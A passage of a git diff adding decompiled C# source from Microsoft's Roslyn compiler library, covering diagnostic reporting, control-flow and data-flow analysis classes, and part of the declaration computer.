tree.GetRoot(default(CancellationToken)).GetDirectives((DirectiveTriviaSyntax d) => d.IsActive && !((SyntaxNode)d).HasErrors && d.Kind() == SyntaxKind.LineDirectiveTrivia)) + { + SyntaxToken file = directive.File; + string text = (string)((SyntaxToken)(ref file)).Value; + if (text != null) + { + string text2 = resolver.ResolveReference(text, tree.FilePath); + if (text2 == null) + { + CommonMessageProvider messageProvider = ((CommonCompiler)this).MessageProvider; + file = directive.File; + diagnostics.Add(messageProvider.CreateDiagnostic(1504, ((SyntaxToken)(ref file)).GetLocation(), new object[2] + { + text, + CSharpResources.CouldNotFindFile + })); + } + else + { + embeddedFiles.Add(text2); + } + } + } + } + + private protected override GeneratorDriver CreateGeneratorDriver(ParseOptions parseOptions, ImmutableArray generators, AnalyzerConfigOptionsProvider analyzerConfigOptionsProvider, ImmutableArray additionalTexts) + { + return (GeneratorDriver)(object)CSharpGeneratorDriver.Create(generators, additionalTexts, (CSharpParseOptions)(object)parseOptions, analyzerConfigOptionsProvider); + } + + private protected override void DiagnoseBadAccesses(TextWriter consoleOutput, ErrorLogger? errorLogger, Compilation compilation, ImmutableArray diagnostics) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + Symbol symbol2; + if (current != null) + { + int code = current.Code; + if (code <= 271) + { + if (code != 122) + { + if (code == 271) + { + IReadOnlyList arguments = current.Arguments; + if (arguments != null && arguments.Count == 1 && arguments[0] is Symbol symbol) + { + symbol2 = symbol; + goto IL_0139; + } + } + } + else + { + IReadOnlyList arguments = current.Arguments; + if (arguments != null && arguments.Count == 1 && arguments[0] is Symbol symbol3) + { + symbol2 = symbol3; + goto IL_0139; + } + } + } + else if (code != 272) + { + if (code == 9044) + { + IReadOnlyList arguments = current.Arguments; + if (arguments != null && arguments.Count == 3 && arguments[1] is Symbol symbol4) + { + symbol2 = symbol4; + goto IL_0139; + } + } + } + else + { + IReadOnlyList arguments = current.Arguments; + if (arguments != null && arguments.Count == 1 && arguments[0] is Symbol symbol5) + { + symbol2 = symbol5; + goto IL_0139; + } + } + } + symbol2 = null; + goto IL_0139; + IL_0139: + Symbol symbol6 = symbol2; + if ((object)symbol6 != null && (object)compilation.Assembly != symbol6.ContainingAssembly) + { + instance.Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_SymbolDefinedInAssembly, symbol6, symbol6.ContainingAssembly), current.Location)); + } + } + ((CommonCompiler)this).ReportDiagnostics((IEnumerable)instance.ToReadOnlyAndFree(), consoleOutput, errorLogger, compilation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpControlFlowAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpControlFlowAnalysis.cs new file mode 100644 index 0000000..a8493c2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpControlFlowAnalysis.cs @@ -0,0 +1,108 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class CSharpControlFlowAnalysis : ControlFlowAnalysis +{ + private readonly RegionAnalysisContext _context; + + private ImmutableArray _entryPoints; + + private ImmutableArray _exitPoints; + + private object _regionStartPointIsReachable; + + private object _regionEndPointIsReachable; + + private bool? _succeeded; + + public override ImmutableArray EntryPoints + { + get + { + if (_entryPoints == null) + { + _succeeded = !_context.Failed; + ImmutableArray value = (_context.Failed ? ImmutableArray.Empty : ((IEnumerable)EntryPointsWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion, out _succeeded)).ToImmutableArray()); + ImmutableInterlocked.InterlockedInitialize(ref _entryPoints, value); + } + return _entryPoints; + } + } + + public override ImmutableArray ExitPoints + { + get + { + if (_exitPoints == null) + { + ImmutableArray value = (((ControlFlowAnalysis)this).Succeeded ? ImmutableArray.CastUp(ExitPointsWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion)) : ImmutableArray.Empty); + ImmutableInterlocked.InterlockedInitialize(ref _exitPoints, value); + } + return _exitPoints; + } + } + + public sealed override bool EndPointIsReachable + { + get + { + if (_regionEndPointIsReachable == null) + { + ComputeReachability(); + } + return (bool)_regionEndPointIsReachable; + } + } + + public sealed override bool StartPointIsReachable + { + get + { + if (_regionStartPointIsReachable == null) + { + ComputeReachability(); + } + return (bool)_regionStartPointIsReachable; + } + } + + public override ImmutableArray ReturnStatements => ImmutableArrayExtensions.WhereAsArray(((ControlFlowAnalysis)this).ExitPoints, (Func)((SyntaxNode s) => s.IsKind(SyntaxKind.ReturnStatement) || s.IsKind(SyntaxKind.YieldBreakStatement))); + + public sealed override bool Succeeded + { + get + { + if (!_succeeded.HasValue) + { + _ = ((ControlFlowAnalysis)this).EntryPoints; + } + return _succeeded.Value; + } + } + + internal CSharpControlFlowAnalysis(RegionAnalysisContext context) + { + _context = context; + } + + private void ComputeReachability() + { + bool startPointIsReachable; + bool endPointIsReachable; + if (((ControlFlowAnalysis)this).Succeeded) + { + RegionReachableWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion, out startPointIsReachable, out endPointIsReachable); + } + else + { + startPointIsReachable = (endPointIsReachable = true); + } + Interlocked.CompareExchange(ref _regionEndPointIsReachable, endPointIsReachable, null); + Interlocked.CompareExchange(ref _regionStartPointIsReachable, startPointIsReachable, null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDataFlowAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDataFlowAnalysis.cs new file mode 100644 index 0000000..ca8f936 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDataFlowAnalysis.cs @@ -0,0 +1,320 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class CSharpDataFlowAnalysis : DataFlowAnalysis +{ + private readonly RegionAnalysisContext _context; + + private ImmutableArray _variablesDeclared; + + private HashSet _unassignedVariables; + + private ImmutableArray _dataFlowsIn; + + private ImmutableArray _dataFlowsOut; + + private ImmutableArray _definitelyAssignedOnEntry; + + private ImmutableArray _definitelyAssignedOnExit; + + private ImmutableArray _alwaysAssigned; + + private ImmutableArray _readInside; + + private ImmutableArray _writtenInside; + + private ImmutableArray _readOutside; + + private ImmutableArray _writtenOutside; + + private ImmutableArray _captured; + + private ImmutableArray _usedLocalFunctions; + + private ImmutableArray _capturedInside; + + private ImmutableArray _capturedOutside; + + private ImmutableArray _unsafeAddressTaken; + + private HashSet _unassignedVariableAddressOfSyntaxes; + + private bool? _succeeded; + + public override ImmutableArray VariablesDeclared + { + get + { + if (_variablesDeclared.IsDefault) + { + ImmutableArray value = (((DataFlowAnalysis)this).Succeeded ? Normalize(VariablesDeclaredWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion)) : ImmutableArray.Empty); + ImmutableInterlocked.InterlockedInitialize(ref _variablesDeclared, value); + } + return _variablesDeclared; + } + } + + private HashSet UnassignedVariables + { + get + { + if (_unassignedVariables == null) + { + HashSet value = (((DataFlowAnalysis)this).Succeeded ? UnassignedVariablesWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode) : new HashSet()); + Interlocked.CompareExchange(ref _unassignedVariables, value, null); + } + return _unassignedVariables; + } + } + + public override ImmutableArray DataFlowsIn + { + get + { + if (_dataFlowsIn.IsDefault) + { + _succeeded = !_context.Failed; + ImmutableArray value = (_context.Failed ? ImmutableArray.Empty : Normalize(DataFlowsInWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion, UnassignedVariables, UnassignedVariableAddressOfSyntaxes, out _succeeded))); + ImmutableInterlocked.InterlockedInitialize(ref _dataFlowsIn, value); + } + return _dataFlowsIn; + } + } + + public override ImmutableArray DefinitelyAssignedOnEntry => ComputeDefinitelyAssignedValues().onEntry; + + public override ImmutableArray DefinitelyAssignedOnExit => ComputeDefinitelyAssignedValues().onExit; + + public override ImmutableArray DataFlowsOut + { + get + { + _ = ((DataFlowAnalysis)this).DataFlowsIn; + if (_dataFlowsOut.IsDefault) + { + ImmutableArray value = (((DataFlowAnalysis)this).Succeeded ? Normalize(DataFlowsOutWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion, UnassignedVariables, _dataFlowsIn)) : ImmutableArray.Empty); + ImmutableInterlocked.InterlockedInitialize(ref _dataFlowsOut, value); + } + return _dataFlowsOut; + } + } + + public override ImmutableArray AlwaysAssigned + { + get + { + if (_alwaysAssigned.IsDefault) + { + ImmutableArray value = (((DataFlowAnalysis)this).Succeeded ? Normalize(AlwaysAssignedWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion)) : ImmutableArray.Empty); + ImmutableInterlocked.InterlockedInitialize(ref _alwaysAssigned, value); + } + return _alwaysAssigned; + } + } + + public override ImmutableArray ReadInside + { + get + { + if (_readInside.IsDefault) + { + AnalyzeReadWrite(); + } + return _readInside; + } + } + + public override ImmutableArray WrittenInside + { + get + { + if (_writtenInside.IsDefault) + { + AnalyzeReadWrite(); + } + return _writtenInside; + } + } + + public override ImmutableArray ReadOutside + { + get + { + if (_readOutside.IsDefault) + { + AnalyzeReadWrite(); + } + return _readOutside; + } + } + + public override ImmutableArray WrittenOutside + { + get + { + if (_writtenOutside.IsDefault) + { + AnalyzeReadWrite(); + } + return _writtenOutside; + } + } + + public override ImmutableArray Captured + { + get + { + if (_captured.IsDefault) + { + AnalyzeReadWrite(); + } + return _captured; + } + } + + public override ImmutableArray CapturedInside + { + get + { + if (_capturedInside.IsDefault) + { + AnalyzeReadWrite(); + } + return _capturedInside; + } + } + + public override ImmutableArray CapturedOutside + { + get + { + if (_capturedOutside.IsDefault) + { + AnalyzeReadWrite(); + } + return _capturedOutside; + } + } + + public override ImmutableArray UnsafeAddressTaken + { + get + { + if (_unsafeAddressTaken.IsDefault) + { + AnalyzeReadWrite(); + } + return _unsafeAddressTaken; + } + } + + public override ImmutableArray UsedLocalFunctions + { + get + { + if (_usedLocalFunctions.IsDefault) + { + AnalyzeReadWrite(); + } + return _usedLocalFunctions; + } + } + + private HashSet UnassignedVariableAddressOfSyntaxes + { + get + { + if (_unassignedVariableAddressOfSyntaxes == null) + { + HashSet value = (((DataFlowAnalysis)this).Succeeded ? UnassignedAddressTakenVariablesWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode) : new HashSet()); + Interlocked.CompareExchange(ref _unassignedVariableAddressOfSyntaxes, value, null); + } + return _unassignedVariableAddressOfSyntaxes; + } + } + + public sealed override bool Succeeded + { + get + { + if (!_succeeded.HasValue) + { + _ = ((DataFlowAnalysis)this).DataFlowsIn; + } + return _succeeded.Value; + } + } + + internal CSharpDataFlowAnalysis(RegionAnalysisContext context) + { + _context = context; + } + + private (ImmutableArray onEntry, ImmutableArray onExit) ComputeDefinitelyAssignedValues() + { + if (_definitelyAssignedOnExit.IsDefault) + { + ImmutableArray value = ImmutableArray.Empty; + ImmutableArray value2 = ImmutableArray.Empty; + if (((DataFlowAnalysis)this).Succeeded) + { + (HashSet entry, HashSet exit) tuple = DefinitelyAssignedWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion); + HashSet item = tuple.entry; + HashSet item2 = tuple.exit; + value = Normalize(item); + value2 = Normalize(item2); + } + ImmutableInterlocked.InterlockedInitialize(ref _definitelyAssignedOnEntry, value); + ImmutableInterlocked.InterlockedInitialize(ref _definitelyAssignedOnExit, value2); + } + return (onEntry: _definitelyAssignedOnEntry, onExit: _definitelyAssignedOnExit); + } + + private void AnalyzeReadWrite() + { + IEnumerable readInside; + IEnumerable writtenInside; + IEnumerable readOutside; + IEnumerable writtenOutside; + IEnumerable captured; + IEnumerable unsafeAddressTaken; + IEnumerable capturedInside; + IEnumerable capturedOutside; + IEnumerable usedLocalFunctions; + if (((DataFlowAnalysis)this).Succeeded) + { + ReadWriteWalker.Analyze(_context.Compilation, _context.Member, _context.BoundNode, _context.FirstInRegion, _context.LastInRegion, UnassignedVariableAddressOfSyntaxes, out readInside, out writtenInside, out readOutside, out writtenOutside, out captured, out unsafeAddressTaken, out capturedInside, out capturedOutside, out usedLocalFunctions); + } + else + { + readInside = (writtenInside = (readOutside = (writtenOutside = (captured = (unsafeAddressTaken = (capturedInside = (capturedOutside = Enumerable.Empty()))))))); + usedLocalFunctions = Enumerable.Empty(); + } + ImmutableInterlocked.InterlockedInitialize(ref _readInside, Normalize(readInside)); + ImmutableInterlocked.InterlockedInitialize(ref _writtenInside, Normalize(writtenInside)); + ImmutableInterlocked.InterlockedInitialize(ref _readOutside, Normalize(readOutside)); + ImmutableInterlocked.InterlockedInitialize(ref _writtenOutside, Normalize(writtenOutside)); + ImmutableInterlocked.InterlockedInitialize(ref _captured, Normalize(captured)); + ImmutableInterlocked.InterlockedInitialize(ref _capturedInside, Normalize(capturedInside)); + ImmutableInterlocked.InterlockedInitialize(ref _capturedOutside, Normalize(capturedOutside)); + ImmutableInterlocked.InterlockedInitialize(ref _unsafeAddressTaken, Normalize(unsafeAddressTaken)); + ImmutableInterlocked.InterlockedInitialize(ref _usedLocalFunctions, Normalize(usedLocalFunctions)); + } + + private static ImmutableArray Normalize(IEnumerable data) + { + return ImmutableArray.CreateRange(data.Where((Symbol s) => s.CanBeReferencedByName).OrderBy((Symbol s) => s, LexicalOrderSymbolComparer.Instance).GetPublicSymbols()); + } + + private static ImmutableArray Normalize(IEnumerable data) + { + return ImmutableArray.CreateRange(from p in data.Where((MethodSymbol s) => s.CanBeReferencedByName).OrderBy((MethodSymbol s) => s, LexicalOrderSymbolComparer.Instance) + select p.GetPublicSymbol()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeclarationComputer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeclarationComputer.cs new file mode 100644 index 0000000..3985f91 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpDeclarationComputer.cs @@ -0,0 +1,446 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class CSharpDeclarationComputer : DeclarationComputer +{ + public static void ComputeDeclarationsInSpan(SemanticModel model, TextSpan span, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + ComputeDeclarations(model, null, model.SyntaxTree.GetRoot(cancellationToken), delegate(SyntaxNode node, int? level) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + TextSpan span2 = node.Span; + return !((TextSpan)(ref span2)).OverlapsWith(span) || InvalidLevel(level); + }, getSymbol, builder, null, cancellationToken); + } + + public static void ComputeDeclarationsInNode(SemanticModel model, ISymbol associatedSymbol, SyntaxNode node, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken, int? levelsToCompute = null) + { + ComputeDeclarations(model, associatedSymbol, node, (SyntaxNode n, int? level) => InvalidLevel(level), getSymbol, builder, levelsToCompute, cancellationToken); + } + + private static bool InvalidLevel(int? level) + { + if (level.HasValue) + { + return level.Value <= 0; + } + return false; + } + + private static int? DecrementLevel(int? level) + { + if (!level.HasValue) + { + return level; + } + return level - 1; + } + + private static void ComputeDeclarations(SemanticModel model, ISymbol associatedSymbol, SyntaxNode node, Func shouldSkip, bool getSymbol, ArrayBuilder builder, int? levelsToCompute, CancellationToken cancellationToken) + { + //IL_0618: Unknown result type (might be due to invalid IL or missing references) + //IL_0631: Unknown result type (might be due to invalid IL or missing references) + //IL_0318: Unknown result type (might be due to invalid IL or missing references) + //IL_0341: Unknown result type (might be due to invalid IL or missing references) + //IL_0410: Unknown result type (might be due to invalid IL or missing references) + //IL_0421: Unknown result type (might be due to invalid IL or missing references) + //IL_0426: Unknown result type (might be due to invalid IL or missing references) + //IL_042a: Unknown result type (might be due to invalid IL or missing references) + //IL_042f: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_04b3: Unknown result type (might be due to invalid IL or missing references) + //IL_04b8: Unknown result type (might be due to invalid IL or missing references) + //IL_04bc: Unknown result type (might be due to invalid IL or missing references) + //IL_04c1: Unknown result type (might be due to invalid IL or missing references) + //IL_03e8: Unknown result type (might be due to invalid IL or missing references) + //IL_03fe: Unknown result type (might be due to invalid IL or missing references) + //IL_03b1: Unknown result type (might be due to invalid IL or missing references) + //IL_03b6: Unknown result type (might be due to invalid IL or missing references) + //IL_03ba: Unknown result type (might be due to invalid IL or missing references) + //IL_03bf: Unknown result type (might be due to invalid IL or missing references) + //IL_0558: Unknown result type (might be due to invalid IL or missing references) + //IL_055d: Unknown result type (might be due to invalid IL or missing references) + //IL_0561: Unknown result type (might be due to invalid IL or missing references) + //IL_0566: Unknown result type (might be due to invalid IL or missing references) + //IL_0246: Unknown result type (might be due to invalid IL or missing references) + //IL_024b: Unknown result type (might be due to invalid IL or missing references) + //IL_024f: Unknown result type (might be due to invalid IL or missing references) + //IL_0254: Unknown result type (might be due to invalid IL or missing references) + //IL_02b9: Unknown result type (might be due to invalid IL or missing references) + //IL_02be: Unknown result type (might be due to invalid IL or missing references) + //IL_02c2: Unknown result type (might be due to invalid IL or missing references) + //IL_02c7: Unknown result type (might be due to invalid IL or missing references) + //IL_0356: Unknown result type (might be due to invalid IL or missing references) + //IL_038e: Unknown result type (might be due to invalid IL or missing references) + //IL_072b: Unknown result type (might be due to invalid IL or missing references) + //IL_0730: Unknown result type (might be due to invalid IL or missing references) + //IL_0734: Unknown result type (might be due to invalid IL or missing references) + //IL_0739: Unknown result type (might be due to invalid IL or missing references) + //IL_071e: Unknown result type (might be due to invalid IL or missing references) + //IL_045c: Unknown result type (might be due to invalid IL or missing references) + //IL_06ab: Unknown result type (might be due to invalid IL or missing references) + //IL_050a: Unknown result type (might be due to invalid IL or missing references) + //IL_0535: Unknown result type (might be due to invalid IL or missing references) + //IL_05bd: Unknown result type (might be due to invalid IL or missing references) + //IL_05de: Unknown result type (might be due to invalid IL or missing references) + //IL_0490: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_06f0: Unknown result type (might be due to invalid IL or missing references) + //IL_027d: Unknown result type (might be due to invalid IL or missing references) + //IL_02a4: Unknown result type (might be due to invalid IL or missing references) + //IL_02f0: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + //IL_0762: Unknown result type (might be due to invalid IL or missing references) + //IL_0767: Unknown result type (might be due to invalid IL or missing references) + //IL_0774: Unknown result type (might be due to invalid IL or missing references) + //IL_0789: Unknown result type (might be due to invalid IL or missing references) + //IL_0231: Unknown result type (might be due to invalid IL or missing references) + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + cancellationToken.ThrowIfCancellationRequested(); + if (shouldSkip(node, levelsToCompute)) + { + return; + } + int? levelsToCompute2 = DecrementLevel(levelsToCompute); + switch (node.Kind()) + { + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + { + BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax = (BaseNamespaceDeclarationSyntax)(object)node; + Enumerator enumerator = baseNamespaceDeclarationSyntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current6 = enumerator.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current6, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + DeclarationInfo declarationInfo = DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, cancellationToken); + builder.Add(declarationInfo); + NameSyntax nameSyntax = baseNamespaceDeclarationSyntax.Name; + ISymbol declaredSymbol = ((DeclarationInfo)(ref declarationInfo)).DeclaredSymbol; + INamespaceSymbol val = (INamespaceSymbol)(object)((declaredSymbol is INamespaceSymbol) ? declaredSymbol : null); + while (nameSyntax.Kind() == SyntaxKind.QualifiedName) + { + nameSyntax = ((QualifiedNameSyntax)nameSyntax).Left; + INamespaceSymbol val2 = (getSymbol ? ((val != null) ? ((ISymbol)val).ContainingNamespace : null) : null); + builder.Add(new DeclarationInfo((SyntaxNode)(object)nameSyntax, ImmutableArray.Empty, (ISymbol)(object)val2)); + val = val2; + } + break; + } + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + if (associatedSymbol is IMethodSymbol) + { + TypeDeclarationSyntax obj = (TypeDeclarationSyntax)(object)node; + IEnumerable enumerable = GetParameterListInitializersAndAttributes(obj.ParameterList); + if (obj.BaseList?.Types.FirstOrDefault() is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax) + { + enumerable = EnumerableExtensions.Concat(enumerable, (SyntaxNode)(object)primaryConstructorBaseTypeSyntax); + } + builder.Add(DeclarationComputer.GetDeclarationInfo(node, associatedSymbol, enumerable)); + break; + } + goto case SyntaxKind.InterfaceDeclaration; + case SyntaxKind.InterfaceDeclaration: + { + TypeDeclarationSyntax typeDeclarationSyntax = (TypeDeclarationSyntax)(object)node; + Enumerator enumerator = typeDeclarationSyntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current5 = enumerator.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current5, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + IEnumerable enumerable4 = GetAttributes(typeDeclarationSyntax.AttributeLists).Concat(GetTypeParameterListAttributes(typeDeclarationSyntax.TypeParameterList)); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, enumerable4, cancellationToken)); + break; + } + case SyntaxKind.EnumDeclaration: + { + EnumDeclarationSyntax enumDeclarationSyntax = (EnumDeclarationSyntax)(object)node; + Enumerator enumerator3 = enumDeclarationSyntax.Members.GetEnumerator(); + while (enumerator3.MoveNext()) + { + EnumMemberDeclarationSyntax current3 = enumerator3.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current3, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + IEnumerable attributes3 = GetAttributes(enumDeclarationSyntax.AttributeLists); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, attributes3, cancellationToken)); + break; + } + case SyntaxKind.EnumMemberDeclaration: + { + EnumMemberDeclarationSyntax obj2 = (EnumMemberDeclarationSyntax)(object)node; + IEnumerable enumerable2 = Enumerable.Concat(second: GetAttributes(obj2.AttributeLists), first: (IEnumerable)SpecializedCollections.SingletonEnumerable(obj2.EqualsValue)); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, enumerable2, cancellationToken)); + break; + } + case SyntaxKind.DelegateDeclaration: + { + DelegateDeclarationSyntax delegateDeclarationSyntax = (DelegateDeclarationSyntax)(object)node; + IEnumerable enumerable6 = GetAttributes(delegateDeclarationSyntax.AttributeLists).Concat(GetParameterListInitializersAndAttributes(delegateDeclarationSyntax.ParameterList)).Concat(GetTypeParameterListAttributes(delegateDeclarationSyntax.TypeParameterList)); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, enumerable6, cancellationToken)); + break; + } + case SyntaxKind.EventDeclaration: + { + EventDeclarationSyntax eventDeclarationSyntax = (EventDeclarationSyntax)(object)node; + if (eventDeclarationSyntax.AccessorList != null) + { + Enumerator enumerator2 = eventDeclarationSyntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AccessorDeclarationSyntax current8 = enumerator2.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current8, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + } + IEnumerable attributes6 = GetAttributes(eventDeclarationSyntax.AttributeLists); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, attributes6, cancellationToken)); + break; + } + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + { + BaseFieldDeclarationSyntax obj3 = (BaseFieldDeclarationSyntax)(object)node; + IEnumerable attributes4 = GetAttributes(obj3.AttributeLists); + Enumerator enumerator4 = obj3.Declaration.Variables.GetEnumerator(); + while (enumerator4.MoveNext()) + { + VariableDeclaratorSyntax current4 = enumerator4.Current; + IEnumerable enumerable3 = ((IEnumerable)SpecializedCollections.SingletonEnumerable(current4.Initializer)).Concat(attributes4); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, (SyntaxNode)(object)current4, getSymbol, enumerable3, cancellationToken)); + } + break; + } + case SyntaxKind.ArrowExpressionClause: + if (node.Parent is BasePropertyDeclarationSyntax declarationWithExpressionBody) + { + builder.Add(GetExpressionBodyDeclarationInfo(declarationWithExpressionBody, (ArrowExpressionClauseSyntax)(object)node, model, getSymbol, cancellationToken)); + } + break; + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)(object)node; + if (propertyDeclarationSyntax.AccessorList != null) + { + Enumerator enumerator2 = propertyDeclarationSyntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AccessorDeclarationSyntax current7 = enumerator2.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current7, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + } + if (propertyDeclarationSyntax.ExpressionBody != null) + { + ComputeDeclarations(model, null, (SyntaxNode)(object)propertyDeclarationSyntax.ExpressionBody, shouldSkip, getSymbol, builder, levelsToCompute, cancellationToken); + } + IEnumerable attributes5 = GetAttributes(propertyDeclarationSyntax.AttributeLists); + IEnumerable enumerable5 = ((IEnumerable)SpecializedCollections.SingletonEnumerable(propertyDeclarationSyntax.Initializer)).Concat(attributes5); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, enumerable5, cancellationToken)); + break; + } + case SyntaxKind.IndexerDeclaration: + { + IndexerDeclarationSyntax indexerDeclarationSyntax = (IndexerDeclarationSyntax)(object)node; + if (indexerDeclarationSyntax.AccessorList != null) + { + Enumerator enumerator2 = indexerDeclarationSyntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AccessorDeclarationSyntax current2 = enumerator2.Current; + ComputeDeclarations(model, null, (SyntaxNode)(object)current2, shouldSkip, getSymbol, builder, levelsToCompute2, cancellationToken); + } + } + if (indexerDeclarationSyntax.ExpressionBody != null) + { + ComputeDeclarations(model, null, (SyntaxNode)(object)indexerDeclarationSyntax.ExpressionBody, shouldSkip, getSymbol, builder, levelsToCompute, cancellationToken); + } + IEnumerable parameterListInitializersAndAttributes = GetParameterListInitializersAndAttributes(indexerDeclarationSyntax.ParameterList); + IEnumerable attributes2 = GetAttributes(indexerDeclarationSyntax.AttributeLists); + parameterListInitializersAndAttributes = parameterListInitializersAndAttributes.Concat(attributes2); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, parameterListInitializersAndAttributes, cancellationToken)); + break; + } + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + { + AccessorDeclarationSyntax accessorDeclarationSyntax = (AccessorDeclarationSyntax)(object)node; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.AddIfNotNull(instance, (SyntaxNode)(object)accessorDeclarationSyntax.Body); + ArrayBuilderExtensions.AddIfNotNull(instance, (SyntaxNode)(object)accessorDeclarationSyntax.ExpressionBody); + instance.AddRange(GetAttributes(accessorDeclarationSyntax.AttributeLists)); + builder.Add(DeclarationComputer.GetDeclarationInfo(model, node, getSymbol, (IEnumerable)instance, cancellationToken)); + instance.Free(); + break; + } + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + { + BaseMethodDeclarationSyntax baseMethodDeclarationSyntax = 